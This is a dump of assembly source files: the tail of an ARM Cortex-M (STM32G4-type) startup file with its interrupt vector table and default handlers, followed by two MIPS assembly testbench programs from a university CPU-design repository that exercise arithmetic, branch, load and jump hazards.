DCD USB_HP_IRQHandler ; USB Device High Priority DCD USB_LP_IRQHandler ; USB Device Low Priority DCD FDCAN1_IT0_IRQHandler ; FDCAN1 interrupt line 0 DCD FDCAN1_IT1_IRQHandler ; FDCAN1 interrupt line 1 DCD EXTI9_5_IRQHandler ; External Line[9:5]s DCD TIM1_BRK_TIM15_IRQHandler ; TIM1 Break, Transition error, Index error and TIM15 DCD TIM1_UP_TIM16_IRQHandler ; TIM1 Update and TIM16 DCD TIM1_TRG_COM_TIM17_IRQHandler ; TIM1 Trigger, Commutation, Direction change, Index and TIM17 DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare DCD TIM2_IRQHandler ; TIM2 DCD TIM3_IRQHandler ; TIM3 DCD TIM4_IRQHandler ; TIM4 DCD I2C1_EV_IRQHandler ; I2C1 Event DCD I2C1_ER_IRQHandler ; I2C1 Error DCD I2C2_EV_IRQHandler ; I2C2 Event DCD I2C2_ER_IRQHandler ; I2C2 Error DCD SPI1_IRQHandler ; SPI1 DCD SPI2_IRQHandler ; SPI2 DCD USART1_IRQHandler ; USART1 DCD USART2_IRQHandler ; USART2 DCD USART3_IRQHandler ; USART3 DCD EXTI15_10_IRQHandler ; External Line[15:10] DCD RTC_Alarm_IRQHandler ; RTC Alarm (A and B) through EXTI Line DCD USBWakeUp_IRQHandler ; USB Wakeup through EXTI line DCD TIM8_BRK_IRQHandler ; TIM8 Break, Transition error and Index error Interrupt DCD TIM8_UP_IRQHandler ; TIM8 Update Interrupt DCD TIM8_TRG_COM_IRQHandler ; TIM8 Trigger, Commutation, Direction change and Index Interrupt DCD TIM8_CC_IRQHandler ; TIM8 Capture Compare Interrupt DCD 0 ; Reserved DCD 0 ; Reserved DCD LPTIM1_IRQHandler ; LP TIM1 interrupt DCD 0 ; Reserved DCD SPI3_IRQHandler ; SPI3 DCD UART4_IRQHandler ; UART4 DCD 0 ; Reserved DCD TIM6_DAC_IRQHandler ; TIM6 and DAC1&3 underrun errors DCD TIM7_IRQHandler ; TIM7 DCD DMA2_Channel1_IRQHandler ; DMA2 Channel 1 DCD DMA2_Channel2_IRQHandler ; DMA2 Channel 2 DCD DMA2_Channel3_IRQHandler ; DMA2 Channel 3 DCD DMA2_Channel4_IRQHandler ; DMA2 Channel 4 DCD DMA2_Channel5_IRQHandler ; DMA2 Channel 5 DCD 0 ; Reserved DCD 0 ; Reserved DCD UCPD1_IRQHandler ; UCPD1 DCD COMP1_2_3_IRQHandler ; COMP1, COMP2 and COMP3 DCD COMP4_IRQHandler ; COMP4 DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD CRS_IRQHandler ; CRS Interrupt DCD SAI1_IRQHandler ; Serial Audio Interface 1 global interrupt DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD FPU_IRQHandler ; FPU DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD RNG_IRQHandler ; RNG global interrupt DCD LPUART1_IRQHandler ; LP UART 1 interrupt DCD I2C3_EV_IRQHandler ; I2C3 Event DCD I2C3_ER_IRQHandler ; I2C3 Error DCD DMAMUX_OVR_IRQHandler ; DMAMUX overrun global interrupt DCD 0 ; Reserved DCD 0 ; Reserved DCD DMA2_Channel6_IRQHandler ; DMA2 Channel 6 DCD 0 ; Reserved DCD 0 ; Reserved DCD CORDIC_IRQHandler ; CORDIC DCD FMAC_IRQHandler ; FMAC __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA \|.text\|, CODE, READONLY ; Reset handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP MemManage_Handler\ PROC EXPORT MemManage_Handler [WEAK] B . ENDP BusFault_Handler\ PROC EXPORT BusFault_Handler [WEAK] B . ENDP UsageFault_Handler\ PROC EXPORT UsageFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP DebugMon_Handler\ PROC EXPORT DebugMon_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WWDG_IRQHandler [WEAK] EXPORT PVD_PVM_IRQHandler [WEAK] EXPORT RTC_TAMP_LSECSS_IRQHandler [WEAK] EXPORT RTC_WKUP_IRQHandler [WEAK] EXPORT FLASH_IRQHandler [WEAK] EXPORT RCC_IRQHandler [WEAK] EXPORT EXTI0_IRQHandler [WEAK] EXPORT EXTI1_IRQHandler [WEAK] EXPORT EXTI2_IRQHandler [WEAK] EXPORT EXTI3_IRQHandler [WEAK] EXPORT EXTI4_IRQHandler [WEAK] EXPORT DMA1_Channel1_IRQHandler [WEAK] EXPORT DMA1_Channel2_IRQHandler [WEAK] EXPORT DMA1_Channel3_IRQHandler [WEAK] EXPORT DMA1_Channel4_IRQHandler [WEAK] EXPORT DMA1_Channel5_IRQHandler [WEAK] EXPORT DMA1_Channel6_IRQHandler [WEAK] EXPORT ADC1_2_IRQHandler [WEAK] EXPORT USB_HP_IRQHandler [WEAK] EXPORT USB_LP_IRQHandler [WEAK] EXPORT FDCAN1_IT0_IRQHandler [WEAK] EXPORT FDCAN1_IT1_IRQHandler [WEAK] EXPORT EXTI9_5_IRQHandler [WEAK] EXPORT TIM1_BRK_TIM15_IRQHandler [WEAK] EXPORT TIM1_UP_TIM16_IRQHandler [WEAK] EXPORT TIM1_TRG_COM_TIM17_IRQHandler [WEAK] EXPORT TIM1_CC_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT TIM3_IRQHandler [WEAK] EXPORT TIM4_IRQHandler [WEAK] EXPORT I2C1_EV_IRQHandler [WEAK] EXPORT I2C1_ER_IRQHandler [WEAK] EXPORT I2C2_EV_IRQHandler [WEAK] EXPORT I2C2_ER_IRQHandler [WEAK] EXPORT SPI1_IRQHandler [WEAK] EXPORT SPI2_IRQHandler [WEAK] EXPORT USART1_IRQHandler [WEAK] EXPORT USART2_IRQHandler [WEAK] EXPORT USART3_IRQHandler [WEAK] EXPORT EXTI15_10_IRQHandler [WEAK] EXPORT RTC_Alarm_IRQHandler [WEAK] EXPORT USBWakeUp_IRQHandler [WEAK] EXPORT TIM8_BRK_IRQHandler [WEAK] EXPORT TIM8_UP_IRQHandler [WEAK] EXPORT TIM8_TRG_COM_IRQHandler [WEAK] EXPORT TIM8_CC_IRQHandler [WEAK] EXPORT LPTIM1_IRQHandler [WEAK] EXPORT SPI3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT TIM6_DAC_IRQHandler [WEAK] EXPORT TIM7_IRQHandler [WEAK] EXPORT DMA2_Channel1_IRQHandler [WEAK] EXPORT DMA2_Channel2_IRQHandler [WEAK] EXPORT DMA2_Channel3_IRQHandler [WEAK] EXPORT DMA2_Channel4_IRQHandler [WEAK] EXPORT DMA2_Channel5_IRQHandler [WEAK] EXPORT UCPD1_IRQHandler [WEAK] EXPORT COMP1_2_3_IRQHandler [WEAK] EXPORT COMP4_IRQHandler [WEAK] EXPORT CRS_IRQHandler [WEAK] EXPORT SAI1_IRQHandler [WEAK] EXPORT FPU_IRQHandler [WEAK] EXPORT RNG_IRQHandler [WEAK] EXPORT LPUART1_IRQHandler [WEAK] EXPORT I2C3_EV_IRQHandler [WEAK] EXPORT I2C3_ER_IRQHandler [WEAK] EXPORT DMAMUX_OVR_IRQHandler [WEAK] EXPORT DMA2_Channel6_IRQHandler [WEAK] EXPORT CORDIC_IRQHandler [WEAK] EXPORT FMAC_IRQHandler [WEAK] WWDG_IRQHandler PVD_PVM_IRQHandler RTC_TAMP_LSECSS_IRQHandler RTC_WKUP_IRQHandler FLASH_IRQHandler RCC_IRQHandler EXTI0_IRQHandler EXTI1_IRQHandler EXTI2_IRQHandler EXTI3_IRQHandler EXTI4_IRQHandler DMA1_Channel1_IRQHandler DMA1_Channel2_IRQHandler DMA1_Channel3_IRQHandler DMA1_Channel4_IRQHandler DMA1_Channel5_IRQHandler DMA1_Channel6_IRQHandler ADC1_2_IRQHandler USB_HP_IRQHandler USB_LP_IRQHandler FDCAN1_IT0_IRQHandler FDCAN1_IT1_IRQHandler EXTI9_5_IRQHandler TIM1_BRK_TIM15_IRQHandler TIM1_UP_TIM16_IRQHandler TIM1_TRG_COM_TIM17_IRQHandler TIM1_CC_IRQHandler TIM2_IRQHandler TIM3_IRQHandler TIM4_IRQHandler I2C1_EV_IRQHandler I2C1_ER_IRQHandler I2C2_EV_IRQHandler I2C2_ER_IRQHandler SPI1_IRQHandler SPI2_IRQHandler USART1_IRQHandler USART2_IRQHandler USART3_IRQHandler EXTI15_10_IRQHandler RTC_Alarm_IRQHandler USBWakeUp_IRQHandler TIM8_BRK_IRQHandler TIM8_UP_IRQHandler TIM8_TRG_COM_IRQHandler TIM8_CC_IRQHandler LPTIM1_IRQHandler SPI3_IRQHandler UART4_IRQHandler TIM6_DAC_IRQHandler TIM7_IRQHandler DMA2_Channel1_IRQHandler DMA2_Channel2_IRQHandler DMA2_Channel3_IRQHandler DMA2_Channel4_IRQHandler DMA2_Channel5_IRQHandler UCPD1_IRQHandler COMP1_2_3_IRQHandler COMP4_IRQHandler CRS_IRQHandler SAI1_IRQHandler FPU_IRQHandler RNG_IRQHandler LPUART1_IRQHandler I2C3_EV_IRQHandler I2C3_ER_IRQHandler DMAMUX_OVR_IRQHandler DMA2_Channel6_IRQHandler CORDIC_IRQHandler FMAC_IRQHandler B . ENDP ALIGN ;***************************************************************************** ; User Stack and Heap initialization ;***************************************************************************** IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ALIGN ENDIF END
25th-engineer/HFUT_2020_MIPS_CPU	4,243	TESTBENCH/ax3.s	.org 0x0 .set noat .set noreorder #不进行指令调度 .set nomacro .global __start __start: # 注意，MIPS编译时，会将rs和rt的二进制位置互换，写法上是rt,rs，指令码是opcode rs rt(写入rt) # 用ori指令作为开始标志 # start code # ori $0, $0, 0x0000 # 3400 0000 # 此处开始书写代码 .org 0x0000 ori $0, $0, 0x0000 # 真正的代码 lw $1, 8188($0) li $2, 1370698181 addu $2, $1, $2 li $3, 624781182 li $4, -1346036914 multu $2, $3 li $22, -928840339 addu $24, $22, $2 nop nop sllv $24, $22, $0 beq $24, $22, skip0 nop addiu $2, $2, 27222 skip0: sw $2, 0($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, 1594176031 addu $10, $25, $2 nop addu $10, $25, $0 nop bne $10, $25, skip1 nop addiu $2, $2, 31929 skip1: sw $2, 4($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, -2119359507 addu $11, $25, $2 xor $11, $25, $0 nop nop beq $11, $25, skip2 nop addiu $2, $2, 3010 skip2: sw $2, 8($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $19, 1297194016 addu $14, $19, $2 nop nop xor $14, $19, $0 beq $14, $19, skip3 nop addiu $2, $2, 29169 skip3: sw $2, 12($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $23, 1553809414 addu $24, $23, $0 nop or $24, $23, $2 nop beq $24, $23, skip4 nop addiu $2, $2, 6765 skip4: sw $2, 16($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $11, 1462873855 addu $25, $11, $2 subu $25, $11, $0 nop nop beq $25, $11, skip5 nop addiu $2, $2, 24212 skip5: sw $2, 20($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, -1935796249 addu $29, $21, $0 nop nop or $29, $21, $2 beq $29, $21, skip6 nop addiu $2, $2, 20534 skip6: sw $2, 24($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $8, 600920159 addu $10, $8, $0 nop sllv $10, $8, $2 nop beq $10, $8, skip7 nop addiu $2, $2, 18367 skip7: sw $2, 28($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $10, 245016401 addu $16, $10, $0 or $16, $10, $2 nop nop bne $16, $10, skip8 nop addiu $2, $2, 1554 skip8: sw $2, 32($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, 1977109191 addiu $20, $25, 0 nop nop addiu $20, $25, 9834 beq $25, $20, skip9 nop nor $2, $2, $25 skip9: sw $2, 36($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $24, -1206068049 addiu $13, $24, 0 nop addiu $13, $24, 28753 nop beq $24, $13, skip10 nop nor $2, $2, $24 skip10: sw $2, 40($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, 2080420061 addiu $7, $21, 0 srl $7, $21, 1 nop nop beq $21, $7, skip11 nop nor $2, $2, $21 skip11: sw $2, 44($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $24, -791642528 addiu $22, $24, 0 nop nop xori $22, $24, 6438 bne $24, $22, skip12 nop nor $2, $2, $24 skip12: sw $2, 48($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $8, -911568785 addiu $22, $8, 0 nop addiu $22, $8, 17950 nop beq $8, $22, skip13 nop nor $2, $2, $8 skip13: sw $2, 52($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, 426530782 addiu $8, $21, 6622 ori $8, $21, 23640 nop nop bne $21, $8, skip14 nop nor $2, $2, $21 skip14: sw $2, 56($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $18, 704083205 addiu $19, $18, 28241 nop nop sll $19, $18, 14 beq $18, $19, skip15 nop nor $2, $2, $18 skip15: sw $2, 60($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $15, 1322704609 addiu $11, $15, 0 nop addiu $11, $15, 25990 nop beq $15, $11, skip16 nop nor $2, $2, $15 skip16: sw $2, 64($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $29, -1891138629 addiu $25, $29, 1450 sll $25, $29, 26 nop nop bne $29, $25, skip17 nop nor $2, $2, $29 skip17: sw $2, 68($0) mflo $2 addu $2, $2, $4 addu $28, $2, $8 lui $8, 64451 lui $28, 64451 nop beg18: beq $8, $28, skip18 addu $8, $0, $0 beq $0, $0, beg18 subu $28, $28, $28 skip18: sw $28, 72($0) lui $8, 64451 nop lui $28, 19666 beg19: bne $8, $28, skip19 addu $28, $0, $0 beq $1, $1, beg19 addu $8, $28, $2 skip19: sw $8, 76($0) li $30, -1602503051 mthi $30 li $30, -1602503051 li $23, 523843457 nop nop mfhi $23 beq $30, $23, skip20 nop sw $30, 80($0) skip20: li $13, -1153218862 mtlo $13 li $13, -1153218862 li $7, 638425955 nop mflo $7 nop bne $13, $7, skip21 nop sw $13, 84($0) skip21: li $23, -1501334171 mthi $23 li $23, -1501334171 li $8, -376855767 mfhi $8 # end code # 3400 0000 3400 0000 ori $0, $0, 0x0000 ori $0, $0, 0x0000
25th-engineer/HFUT_2020_MIPS_CPU	13,032	TESTBENCH/testbench_wh_2.s	.org 0x0 .set noat .set noreorder #不进行指令调度 .set nomacro .global __start __start: # 注意，MIPS编译时，会将rs和rt的二进制位置互换，写法上是rt,rs，指令码是opcode rs rt(写入rt) # 用ori指令作为开始标志 # start code # ori $0, $0, 0x0000 # 3400 0000 # 此处开始书写代码 .org 0x0000 ori $0, $0, 0x0000 # 真正的代码 lw $1, 8188($0) li $2, 1370698181 addu $2, $1, $2 li $3, 624781182 li $4, -1346036914 multu $2, $3 li $22, -928840339 addu $24, $22, $2 nop nop sllv $24, $22, $0 beq $24, $22, skip0 nop addiu $2, $2, 27222 skip0: sw $2, 0($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, 1594176031 addu $10, $25, $2 nop addu $10, $25, $0 nop bne $10, $25, skip1 nop addiu $2, $2, 31929 skip1: sw $2, 4($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, -2119359507 addu $11, $25, $2 xor $11, $25, $0 nop nop beq $11, $25, skip2 nop addiu $2, $2, 3010 skip2: sw $2, 8($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $19, 1297194016 addu $14, $19, $2 nop nop xor $14, $19, $0 beq $14, $19, skip3 nop addiu $2, $2, 29169 skip3: sw $2, 12($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $23, 1553809414 addu $24, $23, $0 nop or $24, $23, $2 nop beq $24, $23, skip4 nop addiu $2, $2, 6765 skip4: sw $2, 16($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $11, 1462873855 addu $25, $11, $2 subu $25, $11, $0 nop nop beq $25, $11, skip5 nop addiu $2, $2, 24212 skip5: sw $2, 20($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, -1935796249 addu $29, $21, $0 nop nop or $29, $21, $2 beq $29, $21, skip6 nop addiu $2, $2, 20534 skip6: sw $2, 24($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $8, 600920159 addu $10, $8, $0 nop sllv $10, $8, $2 nop beq $10, $8, skip7 nop addiu $2, $2, 18367 skip7: sw $2, 28($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $10, 245016401 addu $16, $10, $0 or $16, $10, $2 nop nop bne $16, $10, skip8 nop addiu $2, $2, 1554 skip8: sw $2, 32($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, 1977109191 addiu $20, $25, 0 nop nop addiu $20, $25, 9834 beq $25, $20, skip9 nop nor $2, $2, $25 skip9: sw $2, 36($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $24, -1206068049 addiu $13, $24, 0 nop addiu $13, $24, 28753 nop beq $24, $13, skip10 nop nor $2, $2, $24 skip10: sw $2, 40($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, 2080420061 addiu $7, $21, 0 srl $7, $21, 1 nop nop beq $21, $7, skip11 nop nor $2, $2, $21 skip11: sw $2, 44($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $24, -791642528 addiu $22, $24, 0 nop nop xori $22, $24, 6438 bne $24, $22, skip12 nop nor $2, $2, $24 skip12: sw $2, 48($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $8, -911568785 addiu $22, $8, 0 nop addiu $22, $8, 17950 nop beq $8, $22, skip13 nop nor $2, $2, $8 skip13: sw $2, 52($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, 426530782 addiu $8, $21, 6622 ori $8, $21, 23640 nop nop bne $21, $8, skip14 nop nor $2, $2, $21 skip14: sw $2, 56($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $18, 704083205 addiu $19, $18, 28241 nop nop sll $19, $18, 14 beq $18, $19, skip15 nop nor $2, $2, $18 skip15: sw $2, 60($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $15, 1322704609 addiu $11, $15, 0 nop addiu $11, $15, 25990 nop beq $15, $11, skip16 nop nor $2, $2, $15 skip16: sw $2, 64($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $29, -1891138629 addiu $25, $29, 1450 sll $25, $29, 26 nop nop bne $29, $25, skip17 nop nor $2, $2, $29 skip17: sw $2, 68($0) mflo $2 addu $2, $2, $4 addu $28, $2, $8 lui $8, 64451 lui $28, 64451 nop beg18: beq $8, $28, skip18 addu $8, $0, $0 beq $0, $0, beg18 subu $28, $28, $28 skip18: sw $28, 72($0) lui $8, 64451 nop lui $28, 19666 beg19: bne $8, $28, skip19 addu $28, $0, $0 beq $1, $1, beg19 addu $8, $28, $2 skip19: sw $8, 76($0) li $30, -1602503051 mthi $30 li $30, -1602503051 li $23, 523843457 nop nop mfhi $23 beq $30, $23, skip20 nop sw $30, 80($0) skip20: li $13, -1153218862 mtlo $13 li $13, -1153218862 li $7, 638425955 nop mflo $7 nop bne $13, $7, skip21 nop sw $13, 84($0) skip21: li $23, -1501334171 mthi $23 li $23, -1501334171 li $8, -376855767 mfhi $8 nop nop beq $23, $8, skip22 nop sw $23, 88($0) skip22: li $10, -986694283 sw $10, 92($0) subu $22, $10, $0 nop nop lh $22, 92($0) beq $10, $22, skip23 nop multu $2, $3 skip23: mflo $2 addu $2, $2, $4 li $16, 1549811405 sw $16, 96($0) subu $24, $16, $2 nop lw $24, 96($0) nop bne $24, $16, skip24 nop multu $2, $3 skip24: mflo $2 addu $2, $2, $4 li $18, 878338649 sw $18, 100($0) subu $26, $18, $0 lbu $26, 100($0) nop nop bne $26, $18, skip25 nop multu $2, $3 skip25: mflo $2 addu $2, $2, $4 li $15, -629177257 sw $15, 104($0) subu $30, $15, $2 nop nop lw $30, 104($0) bne $15, $30, skip26 nop multu $2, $3 skip26: mflo $2 addu $2, $2, $4 li $27, -2137295226 sw $27, 108($0) subu $11, $27, $0 nop lbu $11, 108($0) nop beq $11, $27, skip27 nop multu $2, $3 skip27: mflo $2 addu $2, $2, $4 li $28, 1495291564 sw $28, 112($0) subu $27, $28, $0 lhu $27, 112($0) nop nop beq $27, $28, skip28 nop multu $2, $3 skip28: mflo $2 addu $2, $2, $4 li $30, 2055753345 sw $30, 116($0) subu $7, $30, $0 nop nop lb $7, 116($0) bne $30, $7, skip29 nop multu $2, $3 skip29: mflo $2 addu $2, $2, $4 li $29, 629176359 sw $29, 120($0) subu $12, $29, $0 nop lbu $12, 120($0) nop beq $29, $12, skip30 nop multu $2, $3 skip30: mflo $2 addu $2, $2, $4 li $24, 2715 sw $24, 124($0) subu $19, $24, $0 lbu $19, 124($0) nop nop beq $24, $19, skip31 nop multu $2, $3 skip31: mflo $2 addu $2, $2, $4 multu $2, $3 subu $17, $0, $2 nop nop srav $17, $2, $0 bltz, $17, skip32 nop sw $2, 128($0) skip32: mflo $2 addu $2, $2, $4 multu $2, $3 subu $11, $0, $2 nop addu $11, $2, $0 nop bltz, $11, skip33 nop sw $2, 132($0) skip33: mflo $2 addu $2, $2, $4 multu $2, $3 subu $21, $0, $2 or $21, $2, $0 nop nop bgtz, $21, skip34 nop sw $2, 136($0) skip34: mflo $2 addu $2, $2, $4 multu $2, $3 subu $19, $0, $2 nop nop subu $19, $2, $0 bltz, $19, skip35 nop sw $2, 140($0) skip35: mflo $2 addu $2, $2, $4 multu $2, $3 subu $24, $0, $2 nop addu $24, $2, $0 nop bgtz, $24, skip36 nop sw $2, 144($0) skip36: mflo $2 addu $2, $2, $4 multu $2, $3 subu $29, $0, $2 addu $29, $2, $0 nop nop bltz, $29, skip37 nop sw $2, 148($0) skip37: mflo $2 addu $2, $2, $4 multu $2, $3 subu $15, $0, $2 nop nop subu $15, $2, $0 bltz, $15, skip38 nop sw $2, 152($0) skip38: mflo $2 addu $2, $2, $4 multu $2, $3 subu $13, $0, $2 nop srlv $13, $2, $0 nop bgez, $13, skip39 nop sw $2, 156($0) skip39: mflo $2 addu $2, $2, $4 multu $2, $3 subu $23, $0, $2 or $23, $2, $0 nop nop bgtz, $23, skip40 nop sw $2, 160($0) skip40: mflo $2 addu $2, $2, $4 multu $2, $3 subu $9, $0, $2 nop nop ori $9, $2, 0 bgez, $9, skip41 nop sw $2, 164($0) skip41: mflo $2 addu $2, $2, $4 multu $2, $3 subu $14, $0, $2 nop xori $14, $2, 0 nop bltz, $14, skip42 nop sw $2, 168($0) skip42: mflo $2 addu $2, $2, $4 multu $2, $3 subu $17, $0, $2 xori $17, $2, 0 nop nop bltz, $17, skip43 nop sw $2, 172($0) skip43: mflo $2 addu $2, $2, $4 multu $2, $3 subu $23, $0, $2 nop nop ori $23, $2, 0 bgez, $23, skip44 nop sw $2, 176($0) skip44: mflo $2 addu $2, $2, $4 multu $2, $3 subu $9, $0, $2 nop xori $9, $2, 0 nop bgtz, $9, skip45 nop sw $2, 180($0) skip45: mflo $2 addu $2, $2, $4 multu $2, $3 subu $28, $0, $2 srl $28, $2, 0 nop nop bltz, $28, skip46 nop sw $2, 184($0) skip46: mflo $2 addu $2, $2, $4 multu $2, $3 subu $15, $0, $2 nop nop sll $15, $2, 0 bltz, $15, skip47 nop sw $2, 188($0) skip47: mflo $2 addu $2, $2, $4 multu $2, $3 subu $25, $0, $2 nop ori $25, $2, 0 nop bltz, $25, skip48 nop sw $2, 192($0) skip48: mflo $2 addu $2, $2, $4 multu $2, $3 subu $18, $0, $2 xori $18, $2, 0 nop nop bgez, $18, skip49 nop sw $2, 196($0) skip49: mflo $2 addu $2, $2, $4 multu $2, $3 lui $21, 45265 nop nop lui $21, 20270 bgtz $21, skip50 nop sw $2, 200($0) skip50: mflo $2 addu $2, $2, $4 multu $2, $3 lui $14, 33124 nop lui $14, 32411 nop bgtz $14, skip51 nop sw $2, 204($0) skip51: mflo $2 addu $2, $2, $4 multu $2, $3 lui $9, 35385 lui $9, 30150 nop nop bgez $9, skip52 nop sw $2, 208($0) skip52: mflo $2 addu $2, $2, $4 mthi $2 nor $20, $2, $0 nop nop mfhi $20 bltz $20, skip53 nop sw $2, 212($0) skip53: mtlo $2 nor $7, $2, $0 nop mflo $7 nop bgez $7, skip54 nop sw $2, 216($0) skip54: mtlo $2 nor $19, $2, $0 mflo $19 nop nop bgtz $19, skip55 nop sw $2, 220($0) skip55: mtlo $2 nor $26, $2, $0 nop nop mflo $26 bgtz $26, skip56 nop sw $2, 224($0) skip56: mthi $2 nor $11, $2, $0 nop mfhi $11 nop bgez $11, skip57 nop sw $2, 228($0) skip57: mtlo $2 nor $17, $2, $0 mflo $17 nop nop bgtz $17, skip58 nop sw $2, 232($0) skip58: mtlo $2 nor $29, $2, $0 nop nop mflo $29 bltz $29, skip59 nop sw $2, 236($0) skip59: mtlo $2 nor $28, $2, $0 nop mflo $28 nop bgtz $28, skip60 nop sw $2, 240($0) skip60: mtlo $2 nor $23, $2, $0 mflo $23 nop nop bgtz $23, skip61 nop sw $2, 244($0) skip61: multu $2, $3 lbu $11, 52($0) nor $11, $11, $0 nop nop lbu $11, 52($0) bgtz $11, skip62 nop sw $2, 248($0) skip62: mflo $2 addu $2, $2, $4 multu $2, $3 lw $12, 32($0) nor $12, $12, $0 nop lw $12, 32($0) nop bltz $12, skip63 nop sw $2, 252($0) skip63: mflo $2 addu $2, $2, $4 multu $2, $3 lw $19, 148($0) nor $19, $19, $0 lw $19, 148($0) nop nop bltz $19, skip64 nop sw $2, 256($0) skip64: mflo $2 addu $2, $2, $4 multu $2, $3 lh $10, 150($0) nor $10, $10, $0 nop nop lh $10, 150($0) bltz $10, skip65 nop sw $2, 260($0) skip65: mflo $2 addu $2, $2, $4 multu $2, $3 lb $12, 79($0) nor $12, $12, $0 nop lb $12, 79($0) nop bltz $12, skip66 nop sw $2, 264($0) skip66: mflo $2 addu $2, $2, $4 multu $2, $3 lbu $28, 150($0) nor $28, $28, $0 lbu $28, 150($0) nop nop bltz $28, skip67 nop sw $2, 268($0) skip67: mflo $2 addu $2, $2, $4 multu $2, $3 lw $8, 220($0) nor $8, $8, $0 nop nop lw $8, 220($0) bgez $8, skip68 nop sw $2, 272($0) skip68: mflo $2 addu $2, $2, $4 multu $2, $3 lh $15, 218($0) nor $15, $15, $0 nop lh $15, 218($0) nop bgtz $15, skip69 nop sw $2, 276($0) skip69: mflo $2 addu $2, $2, $4 multu $2, $3 lb $24, 116($0) nor $24, $24, $0 lb $24, 116($0) nop nop bgtz $24, skip70 nop sw $2, 280($0) skip70: mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 12 la $13, skip71 jalr $29, $13 addu $13, $29, $1 skip71: jr $13 nop sw $2, 284($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 16 la $8, skip72 jalr $10, $8 nop skip72: addu $8, $10, $1 jr $8 nop sw $2, 288($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 20 jal skip73 nop skip73: nop addu $13, $31, $1 jr $13 nop sw $2, 292($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 16 la $9, skip74 jalr $15, $9 addu $9, $15, $1 skip74: nop jr $9 nop sw $2, 296($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 20 jal skip75 nop skip75: addu $24, $31, $1 nop jr $24 nop sw $2, 300($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 24 la $13, skip76 jalr $26, $13 nop skip76: nop addu $13, $26, $1 nop jr $13 nop sw $2, 304($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 20 jal skip77 addu $14, $31, $1 skip77: nop nop jr $14 nop sw $2, 308($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 24 jal skip78 nop skip78: addu $22, $31, $1 nop nop jr $22 nop sw $2, 312($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 28 jal skip79 nop skip79: nop addu $15, $31, $1 nop nop jr $15 nop sw $2, 316($0) mflo $2 addu $2, $2, $4 multu $2, $3 jal skip80 addi $23, $31, 12 skip80: jr $23 nop sw $23, 320($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $19, skip81 jalr $15, $19 nop skip81: addi $19, $15, 16 jr $19 nop sw $19, 324($0) mflo $2 addu $2, $2, $4 multu $2, $3 jal skip82 nop skip82: nop addi $10, $31, 20 jr $10 nop sw $10, 328($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $11, skip83 jalr $23, $11 addi $11, $23, 16 skip83: nop jr $11 nop sw $11, 332($0) mflo $2 addu $2, $2, $4 multu $2, $3 